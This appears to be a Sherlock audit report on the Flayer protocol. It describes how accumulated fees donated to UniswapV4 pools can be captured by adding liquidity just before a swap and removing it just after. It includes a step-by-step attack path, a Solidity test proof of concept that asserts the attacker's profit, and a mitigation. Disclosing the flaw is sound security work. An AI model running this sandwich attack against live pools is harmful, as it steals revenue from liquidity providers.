Large Mauve Parrot

High

# Native tokens donations to UniswapV4 pools can be stolen by adding/removing liquidity before/after a swap

### Summary

Native tokens donations to UniswapV4 pools can be stolen by sandwiching swap transactions

### Root Cause

Donations to UniswapV4 pools can be stolen by providing liquidity to the pool before a call to [PoolManager::donate()](https://github.com/Uniswap/v4-core/blob/tickbitmap-overload/src/PoolManager.sol#L250) is executed.

In Flayer donations to the UniswapV4 pool are executed by [UniswapImplementation::_distributeFees()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol) in the form of native tokens, whenever there's enough native tokens to distribute.

Flayer collect all of the fees in collection tokens, which are only converted to native tokens in the [UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490) hook. Because collections tokens are only converted to native tokens instantly before swap it's possible for a big enough amount of collection tokens to accumulate before they get converted to native tokens. This makes it profitable for an attacker to frontrun hiw own (or others) swap that converts collection tokens into native tokens by providing liquidity and then backrun the swap by removing liquidity.

### Internal pre-conditions

1. Enough fees/taxes in the form of collection tokens should be accumulated by the [UniswapImplementation](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L113). The value of the collection tokens needs to be greater than the gas costs to execute the attack, plus the swap fees if the attacker itself will executed the swap. The protocol will be deployed on Flayer where fee costs are low.

### External pre-conditions

_No response_

### Attack Path

1. The attacker provides liquidity to a Flayer UniV4 pool.
2. The attacker fills 10 listings via [Listings::fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528), this deposits fees in the form of collection tokens via [depositFees()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L598). Let's assume `5e17` collection tokens are accumulated as fees.
3. The attacker swaps native tokens for `5e17` collection tokens directly on the pool. This will first trigger the [UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490) which will convert the just received native tokens into fees. After the swap is exeucted the [UniswapImplementation::afterSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L594) is triggered, which will donate the fees to the relative UniV4 pool.
4. The attacker removes liquidity from the Flayer UniV4 pool for a profit.

The only precondition is for enough collection tokens to have accumulated before the swap is executed, this can happen:

- Naturally: no swaps of native tokens for collection tokens happened for a while
- Artifically: the attacker triggers fee deposits events via some actions (ex. fill listing, cancel listings, etc.) before executing the swap to steal part of the fees

### Impact

Attackers can steal revenue from liquidity providers whenever the accumulated fees are big enough to cover costs.

### PoC

<details>
  <summary>To copy-paste in `UniswapImplementation.t.sol`:</summary>
 
```solidity
function test_ExCanSwapWithAmmBeneficiary_Unspecified() public withTokens {
    ICollectionToken ctoken = locker.collectionToken(address(unflippedErc));

    uint24 _ammFee = 1000;
    bool _flipped = false;
    uint256 nativeAmount = 1e18;
    uint256 ctokenAmount = 10e18 * 10 ** ctoken.denomination();
    uint256 depositFeesAmount = 5e17;

    // Set up a pool key
    PoolKey memory poolKey = _poolKey(_flipped);

    // Set our AMM beneficiary details
    uniswapImplementation.setAmmFee(_ammFee);
    uniswapImplementation.setAmmBeneficiary(BENEFICIARY);

    //Deal tokens and approvals
    _dealNativeToken(address(this), nativeAmount);
    deal(address(ctoken), address(this), ctokenAmount);
    _approveNativeToken(address(this), address(poolModifyPosition), type(uint).max);
    ctoken.approve(address(poolModifyPosition), type(uint).max);
    ctoken.approve(address(uniswapImplementation), type(uint).max);

    // Add liquidity
    uint256 beforeNative = WETH.balanceOf(address(this));
    uint256 beforeCToken = ctoken.balanceOf(address(this));
    poolModifyPosition.modifyLiquidity(
        PoolKey({
            currency0: poolKey.currency0,
            currency1: poolKey.currency1,
            fee: poolKey.fee,
            tickSpacing: poolKey.tickSpacing,
            hooks: poolKey.hooks
        }),
        IPoolManager.ModifyLiquidityParams({
            // Set our tick boundaries
            tickLower: TickMath.minUsableTick(poolKey.tickSpacing),
            tickUpper: TickMath.maxUsableTick(poolKey.tickSpacing),
            liquidityDelta: int(10 ether),
            salt: ''
        }),
        ''
    );
    uint256 addedAsLiquidityNative = beforeNative - WETH.balanceOf(address(this));
    uint256 addedAsLiquidityCtoken = beforeCToken - ctoken.balanceOf(address(this));

    //Deposit fees action 
    uniswapImplementation.depositFees(address(unflippedErc), 0, depositFeesAmount);
    UniswapImplementation.ClaimableFees memory fees = uniswapImplementation.poolFees(address(unflippedErc));
    assertEq(fees.amount0, 0);
    assertEq(fees.amount1, depositFeesAmount);

    //Swap native for ctoken requesting exactly `depositFeesAmount` ctokens
    _swap(
        IPoolManager.SwapParams({
            zeroForOne: true,
            amountSpecified: int(depositFeesAmount),
            sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
        })
    );

    //Fees have been distributed to LPs
    fees = uniswapImplementation.poolFees(address(unflippedErc));
    assertEq(fees.amount0, 0);
    assertEq(fees.amount1, 0);

    //Remove liquidity
    beforeNative = WETH.balanceOf(address(this));
    beforeCToken = ctoken.balanceOf(address(this));
    poolModifyPosition.modifyLiquidity(
        PoolKey({
            currency0: poolKey.currency0,
            currency1: poolKey.currency1,
            fee: poolKey.fee,
            tickSpacing: poolKey.tickSpacing,
            hooks: poolKey.hooks
        }),
        IPoolManager.ModifyLiquidityParams({
            // Set our tick boundaries
            tickLower: TickMath.minUsableTick(poolKey.tickSpacing),
            tickUpper: TickMath.maxUsableTick(poolKey.tickSpacing),
            liquidityDelta: int(-10 ether),
            salt: ''
        }),
        ''
    );

    //LP made a profit by sandwitching the fee distribution
    uint256 removedAsLiquidityNative = WETH.balanceOf(address(this)) - beforeNative;
    uint256 removedsLiquidityCtoken = ctoken.balanceOf(address(this)) - beforeCToken;
    uint256 profit = removedAsLiquidityNative - addedAsLiquidityNative;
    assertEq(profit, 426711657458932044);
    assertEq(removedsLiquidityCtoken + 1, addedAsLiquidityCtoken); //1 wei loss due uniV4 rounding down
}
```
</details>

### Mitigation

Accumulated fees should be distributed over time or only to liquidity providers that held liquidity for enough time.